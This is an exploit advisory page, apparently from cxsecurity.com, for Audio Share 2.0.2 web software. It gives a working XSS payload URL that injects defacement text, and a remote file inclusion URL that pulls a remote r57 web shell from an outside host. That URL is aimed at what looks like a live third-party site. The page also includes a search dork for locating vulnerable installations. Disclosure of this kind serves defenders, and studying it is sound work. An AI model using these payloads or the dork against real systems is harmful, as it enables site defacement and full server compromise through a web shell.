Audio Share 2.0.2 Cross Site Scripting / Remote File Inclusion

2015.06.18
Credit: indoushka
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
CWE-22

| # Title : Audio Share v2.0.2 Multi Vulnerability | # Author : indoushka | # email : indoushka4ever@gmail.com | # Dork : Powered by AudioShareScript.com | # Tested on: windows 8.1 Franais V.(Pro) | # Download : http://demo.audiosharescript.com/ ======================================= ( XSS / HTML Inject ) : http://demo.audiosharescript.com/forgot.php?email=indoushka4ever%2540gmail.com%22%20%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&forgotusername=wtf L/R Files inclusion : C:\web\www\upload\ajax\myajaxphp.php Line : 5 require_once($config['basedir'] . "/ajax/cpaint2.inc.php"); Function : require_once Variables : $config['basedir'] http://www.ondemand.ooduaglobalradio.com/ajax/myajaxphp.php?config[%27basedir%27]=http://www.dcvi.net/r57.txt Greetz : jericho http://attrition.org & http://www.osvdb.org/ * packetstormsecurity.com * http://is-sec.org/cc/ Hussin-X * Stake (www.v4-team.com) * D4NB4R * ViRuS_Ra3cH * yasMouh * https://www.corelan.be * exploit4arab.net ---------------------------------------------------------------------------------------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top